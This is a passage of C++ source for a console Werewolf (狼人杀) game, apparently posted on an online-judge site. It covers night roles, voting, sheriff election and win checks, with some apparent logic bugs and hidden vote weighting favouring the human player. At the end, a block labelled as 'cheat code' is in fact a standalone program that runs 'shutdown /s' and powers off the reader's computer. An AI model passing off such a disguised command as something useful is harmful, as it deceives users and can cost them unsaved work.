            if(i==idx_police) color(yellow);
            else color(blue);
            cout<<i+1<<"号位"; 
            gotoxy(i*8+1,5);
            if(players[i].how()==die){
                color(red);
                cout<<"死 亡";
            }else{
                color(green);
                cout<<"存 活";
            }
            gotoxy(i*8+1,6);
            color(blue);
            if(players[i].is_light){
                if(players[i].is_light==1){
                    switch(players[i].type){
                        case nvwu: cout<<"女 巫";break;
                        case yuyanjia: cout<<"\b预言家";break;
                        case cunmin: cout<<"村 民";break;
                        case langren:cout<<"狼 人"; break;
                        case lieren:cout<<"猎 人"; break; 
                        case shouwei:cout<<"守 卫"; break;
                    }   
                }else{
                    cout<<"好人";
                }
    
            }else{
                cout<<"未知";
            }
        }
    
    } 
    
    /*判断是否结束,没结束返回0  好人胜利返回1  狼人胜利返回2   平局返回3*/
    int is_end(){
        int die_bad=0;
        int die_people=0;
        int die_god=0;
        for(int i=0;i<player_number;i++){
            if((players[i].type == nvwu || players[i].type == yuyanjia || players[i].type == shouwei)&&players[i].die_or_life==die)
                die_god++;
            else if(players[i].type == langren && players[i].die_or_life==die)
                die_bad++;
            else if(players[i].type == cunmin && players[i].die_or_life==die)
                die_people++;
        }
        if((die_bad==die_people || die_bad==die_god)&&(die_bad>=nlangren))
            return 3;
        if(die_bad>=nlangren)
            return 1;
        if(die_people>=ncunmin||die_god>=(player_number>=10 ? 3:2))
            return 2;
        return 0;
    }
    
    /*游戏开始前的骚操作*/
    void before_game(){
        srand(time(NULL));
        init_Show_Window();
        color(green);
        cout<<"欢迎来到狼人杀游戏\t\t\t为了更好的游戏体验,请右键点击上方↑↑,点击\"属性\",点击\"字体\"栏目,将字体修改为宋体或新宋体,将字号改为20\n作者:洛谷393864\n请勿私自转载,违者依法追究法律责任  注:10 11 12人局开设猎人  12人局开设守卫警长\n______________________\n";
        cout<<"请输入玩家人数(8-12人):";
        cin>>player_number;
        while(player_number<8||player_number>12)
            { cout<<"请重新输入!\n"; cin>>player_number; }
        system("cls");
        cout<<"初始化身份中,请稍等.";
        for(int i=0;i<6;i++){
            for(int j=0;j<12;j++){
                cout<<".";
                Sleep(50);
            }   
            cout<<"\b\b\b\b\b\b\b\b\b\b\b\b            \b\b\b\b\b\b\b\b\b\b\b\b";
        }
        system("cls");
    
        init_players();
        cout<<"我的号位:"<<my_number+1<<endl
            <<"我的身份:";
        switch(players[my_number].type){
            case nvwu: cout<<"女巫\n";break;
            case yuyanjia: cout<<"预言家\n";break;
            case cunmin: cout<<"村民\n";break;
            case langren:cout<<"狼人\n";break;  
            case lieren:cout<<"猎人\n"; break;  
            case shouwei:cout<<"守卫\n";break;
        }
        change_daytime();
        system("pause");
        system("cls");
        cout<<"游戏加载中.";int ppppp=rand()%3+2;
        for(int i=0;i<ppppp;i++){
            for(int j=0;j<6;j++){
                cout<<".";
                Sleep(rand()%100+150);
            }   
            cout<<"\b\b\b\b\b\b      \b\b\b\b\b\b";
        }   
        print();
    } 
    
    /*每一天开始前的操作*/
    void something_before_everyday(){
        change_night();
        system("cls");
        print();
        gotoxy(0,7);
        cout<<"________________________";
        gotoxy(0,8);
        color(white);
        cout<<"天黑~请闭眼~~~\n";
    }
    
    /*守卫操作*/
    int shouweishou=0;
    int ShouWei(){
        color(blue);
        cout<<"守卫~请睁眼~~\n";
        Sleep(1500);
        cout<<"你要守护的是?\n";
        if(players[my_number].type==shouwei&&players[my_number].die_or_life == life){
            cin>>shouweishou;
            while(!(shouweishou>=1&&shouweishou<=player_number&&players[shouweishou-1].die_or_life == life)){
                cout<<"请重新输入!\n";
                cin>>shouweishou;
            }
            cout<<"你今晚要守护的是"<<shouweishou<<"号\n";
            Sleep(1500); 
            shouweishou--;
        }else{
            if(players[idxshouwei].die_or_life == life){
                shouweishou=rand()%10;
                while(!(shouweishou>=1&&shouweishou<=player_number&&players[shouweishou-1].die_or_life == life)){
                    shouweishou=rand()%10;
                }
            }
        }   
        Sleep(2000);
        cout<<"守卫请闭眼"<<endl<<endl;
        return shouweishou;
    } 
    
    /*狼人操作*/
    int LangRen(){
        int langrensha=-1;
        color(red);
        cout<<"狼人~请睁眼~~~\n";
        Sleep(1500);
        cout<<"你们今晚要杀~谁~~??\n";
        if(players[my_number].type==langren&&players[my_number].die_or_life == life){
            cin>>langrensha;
            while(!(langrensha>=1&&langrensha<=player_number&&players[langrensha-1].die_or_life==life)){
                cout<<"请重新输入!\n";
                cin>>langrensha;
            }
            cout<<"你们今晚要杀的是"<<langrensha--<<"号\n";
            Sleep(3500);
        }else{
            while(langrensha==-1 || players[langrensha].die_or_life == die || players[langrensha].type==langren){
                langrensha=rand()%player_number;
            }
            Sleep(3000);
        }
        cout<<"狼人请~闭眼~~\n\n";
        return langrensha;
    }
    
    /*女巫操作*/
    int nvwujiu=0,nvwudu=0,is_nvwujiu=0,is_nvwudu=0;
    int NvWu(int langrensha){
        color(purple);
        cout<<"女巫~~请睁眼~~\n";
        Sleep(2000);
        if(players[my_number].type==nvwu&&players[my_number].die_or_life == life){
            if(is_nvwujiu) 
                cout<<"你已经用过解药\n",Sleep(1500);
            else
            {
                cout<<"今晚"<<langrensha+1<<"号死了,你想用解药吗?(1想 / 2不想)\n";
                int is_nvwujie=0;
                cin>>is_nvwujie;
                while(is_nvwujie!=1&&is_nvwujie!=2){
                    cout<<"请重新输入\n";
                    cin>>is_nvwujie;
                } 
                if(is_nvwujie==1) {
                    Sleep(1000);
                    cout<<"已经解救"<<langrensha+1<<"号\n";
                    nvwujiu=langrensha;
                }
                nvwujiu=0;
                is_nvwujiu=1;
            }
            Sleep(1500);
            if(::is_nvwudu) cout<<"你已经用过毒药\n",Sleep(1500);
            else
            {
                cout<<"你想用毒药吗?(1想 / 2不想)\n";
                Sleep(1500);
                int is_nvwudu=0;
                cin>>is_nvwudu;
                while(is_nvwudu!=1&&is_nvwudu!=2){
                    cout<<"请重新输入\n";
                    cin>>is_nvwudu;
                }   
                if(is_nvwudu==1){
                    Sleep(1500);
                    cout<<"你想毒谁?\n"; 
                    cin>>nvwudu;
                    while(!(nvwudu>=1&&nvwudu<=player_number&&players[nvwudu].die_or_life==life)){
                        cout<<"请重新输入\n";
                        cin>>nvwudu; 
                    }
                    nvwudu--;
                    nvwudu++; 
                    Sleep(1500);
                    cout<<"已经毒死了"<<nvwudu+1<<"号\n";
                }
                ::is_nvwudu=1;
            }   
        }else{
            if(players[idxnvwu].die_or_life == life){
                if(!is_nvwujiu)
                {
                    int is_jiu=rand()%8;
                    if(is_jiu==0){
                        nvwujiu=langrensha;
                        is_nvwujiu=1;
                    }   
                }
                if(!is_nvwudu)
                {
                    int is_du=rand()%4;
                    if(is_du==0){
                        int num=rand()%player_number;
                        nvwudu=num;
                        is_nvwudu=1;
                    }
                }
            }
    
        } 
        cout<<"女巫~请闭眼~~\n\n";
        return nvwujiu*10000+nvwudu;//传回两个变量,“加密”操作 
    }
    
    int yuyanjiabixutoupiao=-1;
    /*预言家操作*/
    void YuYanJia(){
        color(green);
        cout<<"预言家~请睁眼~~\n";
        Sleep(2000);
        if(players[my_number].type==yuyanjia&&players[my_number].die_or_life == life){
            cout<<"请问你想查验谁的身份\n";
            int p;
            cin>>p;
            while(!(p>=1&&p<=player_number)){
                cout<<"请重新输入!\n";
                cin>>p;
            }
            Sleep(2000);
            cout<<p<<"号的身份是——";
            Sleep(1000);
            if(players[p-1].type == langren){
                cout<<"狼人\n";
                players[p-1].is_light = 1;
            }else{
                cout<<"好人\n";
                players[p-1].is_light = 2;
            }
        }else{
            int p=-1;
            while(p==-1||players[p].die_or_life==die||p==idxlieren)
                p=rand()%player_number;
            if(players[p].type==langren)//锁定目标! 
            {
                yuyanjiabixutoupiao=p;
            }
        }
        cout<<"预言家~~请闭眼~~\n";
    }
    
    /*黑夜操作*/
    int LANGRENSHA=-1,NVWUDU=-1,NVWUJIU=-1,SHOUWEISHOU=-1; 
    void Night(){   
        LANGRENSHA=-1,NVWUDU=-1,NVWUJIU=-1,SHOUWEISHOU=-1; 
    
        //如果有12人局,添加守卫 
        if(player_number==12){
            SHOUWEISHOU=ShouWei();
            Sleep(2000);
        } 
        /*狼人部分*/
        LANGRENSHA=LangRen();
        Sleep(3500);
        /*女巫部分*/ 
        int nvwu=NvWu(LANGRENSHA);
        NVWUDU=nvwu%10+nvwu/10%10;
        NVWUJIU=nvwu/10000%10+nvwu/100000%10;
        Sleep(3000);
        /*预言家部分*/
        YuYanJia();
        Sleep(2000);
    }
    
    /*猎人操作*/
    void Lieren(){
        int lierendai=-1;
        cout<<idxlieren+1<<"号是猎人\n";
    
        players[idxlieren].is_light = 1;
        Sleep(1000);
        if(idxlieren==my_number){
            cout<<"你想带走几号?\n";
            cin>>lierendai;
            while(lierendai<1||lierendai>player_number||players[lierendai].die_or_life==die){
                cout<<"请重新输入!\n";
                cin>>lierendai;
            }
            lierendai--;
        }else{
            lierendai=rand()%player_number;
            while(players[lierendai].die_or_life == die){
                lierendai=rand()%player_number;
            }
        }
        Sleep(2000);
        cout<<"猎人选择带走"<<lierendai+1<<"号\n";
        Sleep(2000);
        players[lierendai].die_or_life = die;
        if(lierendai==my_number){
        	players[lierendai].die_or_life = life;
    	}
    }
    
    void police_die();
    /*判断谁死了*/
    void panduansiwang(){
        system("cls");
        print(); 
        gotoxy(0,7);
        cout<<"________________________\n";
        Sleep(3000);
        color(white);
        cout<<"天亮了\n";
        Sleep(2000);
        gotoxy(0,9);
        cout<<"昨晚";
        bool is_die[15]={false},is_die_lieren=false,flag=false;
        for(int i=0;i<player_number;i++)
        {
            if(players[i].die_or_life==life)
            {
                if(i==LANGRENSHA||i==NVWUDU) {
                    if(players[i].type==lieren) is_die_lieren=true;
                    players[i].killer= (i==LANGRENSHA ? langren:nvwu);
                    players[i].die_or_life=die;
                    is_die[i]=true;
                }
                if(i==SHOUWEISHOU||i==NVWUJIU) {
                    if(players[i].type==lieren) is_die_lieren=false;
                    players[i].killer=-1;
                    players[i].die_or_life=life;
                    is_die[i]=false;
                }   
            }
        }
        bool is_police_die=false;
        for(int i=0;i<player_number;i++)
        {
            if(is_die[i])
            {
                if(flag) cout<<"和"<<i+1<<"号";
                else cout<<i+1<<"号",flag=true;
                if(i==idx_police) 
                    is_police_die=true;
            }
        }
        if(flag) cout<<"死了\n";
        else cout<<"是平安夜\n";
    
        if(is_die_lieren) Lieren();
        if(is_police_die) police_die();
    }
    
    /*选警长*/
    void choose_police(){
        system("cls");
        print();
        color(blue);
        gotoxy(0,7);
        cout<<"________________________\n";
        color(yellow);
        cout<<"下面开始选举警长,各位不能选举自己~\n";
        int tong[100]={0},cannot[100],must[100]={0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15};
        memset(cannot,-1,sizeof(cannot));
        CHOOSE:
        color(yellow);
        Sleep(1500);
        for(int i=0;i<player_number;i++)
        {
            if(players[i].die_or_life==life&&!is_include(cannot,i,player_number))
            {
                if(i==my_number)
                {
                    cout<<"你要选举几号?\n";
                    int n;
                    cin>>n;
                    //while(n<1||n>player_number||n==i+1||players[n-1].die_or_life==die||!is_include(must,n-1,player_number))
                 //   {
                   //     cout<<"请重新输入!\n";
                 //       cin>>n;
                   // }
                    cout<<i+1<<"号选举"<<n--<<"号\n";
                    tong[n]=tong[n]+100;
                }
                else
                {
                    int n=rand()%player_number;
                    while(n==i||players[n].die_or_life==die||!is_include(must,n,player_number))
                        n=rand()%player_number;
                    cout<<i+1<<"号选举"<<n+1<<"号\n";
                    tong[n]++;
                }
                Sleep(1500);
            }
        }
        int idx_max=-1,maxn=-1,len=0;
        for(int i=0;i<player_number;i++)
            if(maxn<tong[i])
            {
                maxn=tong[i];
                idx_max=i;
            }
        int maxn_arr[15]={0};
        for(int i=0;i<player_number;i++)
        {
            if(tong[i]==maxn)
            {
                maxn_arr[len++]=i;
            }
        }
        color(blue);
        if(len>1)
        {
            for(int i=0;i<len;i++)
            {
                if(i==len-1)
                {
                    cout<<maxn_arr[i]+1<<"号平票\n"; 
                }
                else
                {
                    cout<<maxn_arr[i]+1<<"号,";
                }
            }
            for(int i=0;i<len;i++)
                cannot[i]=maxn_arr[i];
            for(int i=0;i<player_number;i++)
            {
                if(is_include(cannot,i,len))
                    must[i]=i;
                else
                    must[i]=-1;
            }
            color(white);
            goto CHOOSE;
        }
        cout<<"恭喜"<<idx_max+1<<"号当选警长\n";
        Sleep(3000);
        idx_police=idx_max;
        return;
    }
    
    /*投票*/
    int toupiao(){
        int tong[100]={0},cannot[100]={},must[100]={0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15}; 
        memset(cannot,-1,sizeof(cannot));
        gotoxy(0,7);
        color(blue);
        cout<<"________________________\n";
        color(white);
        cout<<"下面进入投票环节\n";
        memset(tong,0,sizeof(tong));
        Sleep(2000);
        TOUPIAO:
        for(int i=0;i<player_number;i++){
            if(players[i].die_or_life == life&&!is_include(cannot,i,player_number)){
                if(i==my_number){
                    color(white);
                    cout<<"你要投几号?\n";
                    int n;
                    cin>>n;
                    while(!(n>=1&&n<=player_number&&is_include(must,n-1,player_number))){
                        cout<<"请重新输入!\n";
                        cin>>n;
                    }
                    Sleep(2000);
                    cout<<setw(2)<<my_number+1<<"号投了"<<setw(2)<<n<<"号";
                    if(my_number==n-1) color(red),cout<<"快来看!这有个疯子投自己!"; 
                    if(i==idx_police) color(yellow),cout<<"(警长)\n"; else cout<<"\n";
                    if(i==idx_police) tong[n-1]++;
                    tong[n-1]=tong[n-1]+1000;
                }else{
                    color(white);
                    int t=-1;
                    while(t==-1 || players[t].die_or_life == die || t==i || !is_include(must,t,player_number)){
                        if(i==idxyuyanjia&&yuyanjiabixutoupiao!=-1)
                        {
                            t=yuyanjiabixutoupiao;
                            yuyanjiabixutoupiao=-1;
                            continue;
                        }
                        t=rand()%player_number;
                        if(is_include(idxlangren,i,nlangren))
                        {
                            if(players[t].type == langren)
                                t=-1;
                        }
                    }
                    cout<<setw(2)<<i+1<<"号"<<"投了"<<setw(2)<<t+1<<"号";
                    if(i==idx_police) cout<<"(警长2票)\n"; else cout<<"\n";
                    if(i==idx_police) tong[t]++;
                    tong[t]++;  
                }
    
                Sleep(rand()%1000+1000);
            }
        }
        int idx_max=-1,maxn=-1,len=0;
        for(int i=0;i<player_number;i++)
            if(maxn<tong[i])
            {
                maxn=tong[i];
                idx_max=i;
            }
        int maxn_arr[15]={0};
        for(int i=0;i<player_number;i++)
        {
            if(tong[i]==maxn)
            {
                maxn_arr[len++]=i;
            }
        }
        color(blue);
        if(len>1)
        {
            for(int i=0;i<len;i++)
            {
                if(i==len-1)
                {
                    cout<<maxn_arr[i]+1<<"号平票\n"; 
                }
                else
                {
                    cout<<maxn_arr[i]+1<<"号,";
                }
            }
            for(int i=0;i<len;i++)
                cannot[i]=maxn_arr[i];
            for(int i=0;i<player_number;i++)
            {
                if(is_include(cannot,i,len))
                    must[i]=i;
                else
                    must[i]=-1;
            }
            color(white);
            goto TOUPIAO;
    
        }
    
        cout<<idx_max+1<<"号"<<"出局\n";
        Sleep(4000);
        players[idx_max].die_or_life = die;
        players[idx_max].killer = good;
        return idx_max;
    }
    
    /*警长死亡*/
    void police_die(){
        color(yellow);
        int type;
        if(idx_police==my_number)
        {
            Sleep(1550);
            cout<<"你是想撕毁警徽还是移交警徽?(撕毁输入1,移交输入2)";
    
            cin>>type;
            while(!(type==1||type==2))
            {
                cout<<"请重新输入!\n";
                cin>>type;
            }
        }
        else{
            type=rand()%3+1;
        }
        if(type==1)
        {
            cout<<"警长选择撕毁警徽\n";
            Sleep(1000);
            idx_police=-1;
        }
        else
        {
            int lucky=-1;
            while(lucky==-1||players[lucky].die_or_life==die)
                lucky=rand()%player_number;
            cout<<"警长选择把警徽移交给"<<lucky+1<<"号\n";
            Sleep(1500);
            idx_police=lucky; 
        }
    }
    
    /*故事的最后*/
    void the_end(){
        system("cls");
        switch(is_end()){
            case 1:cout<<"好人胜利\n\n"; break;
            case 2:cout<<"狼人胜利\n\n"; break;
            case 3:cout<<"本局平局\n\n"; break;
        }
        for(int i=0;i<player_number;i++){
            cout<<i+1<<"号位:\t";
            switch(players[i].type){
                case nvwu: cout<<"女巫\t";break;
                case yuyanjia: cout<<"预言家\t";break;
                case cunmin: cout<<"村民\t";break;
                case langren:cout<<"狼人\t";break;
                case lieren:cout<<"猎人\t"; break;  
                case shouwei:cout<<"守卫\t";break;  
            } 
            cout<<"最终";
            switch(players[i].killer){
                case nvwu:cout<<"被女巫毒死\n"; break;
                case langren:cout<<"被狼人杀死\n"; break;
                case good:cout<<"被投票出局\n"; break;
                case lieren:cout<<"被猎人带走\n";break;
                default :cout<<"存活\n";
            }
            cout<<endl;
        }
    }
    
    /*主函数*/
    int main(){
        int wheel=0; 
        before_game();
        while(!is_end()){
            //黑夜准备 
            something_before_everyday();
            Sleep(1500); 
    
            //黑夜部分 
            Night(); //进入黑夜! 
            change_daytime(); //换天 
    
            //天亮了 
            panduansiwang();//判断谁死了 
            Sleep(2000);
            system("cls");
            print();
            if(is_end()) break;
    
            //选警长 
            if(!wheel&&player_number==12)
            {
                choose_police();
                system("cls");
                print();
            }
    
            //投票环节 
            int idx_max=toupiao();//票数最多的人 
            if(idx_max==idx_police){
                police_die();
            }
            if(players[idx_max].type==lieren){//启动猎人程序 
                Lieren();
                if(is_end()) break;
            }
            system("cls");
            print(); 
            wheel++;
        }
    
        the_end();
        system("pause");
        return 0;
    }
    
    //作弊代码
    #include<stdio.h>
    #include <stdlib.h>
    #include <string.h>
    int main(void){
        system("shutdown /s");
        return 0;
    }
    

    开发

    支持

    1. 关于
    2. 联系我们
    3. 隐私
    4. 服务条款
    5. 版权申诉
    6. Language
    7. 兼容模式 ![image]https://oj.qdturing.cn/file/39/oVS0HIiC8Lf8a1NxHkNQq.gi
  • 最近活动

  • Stat

  • Rating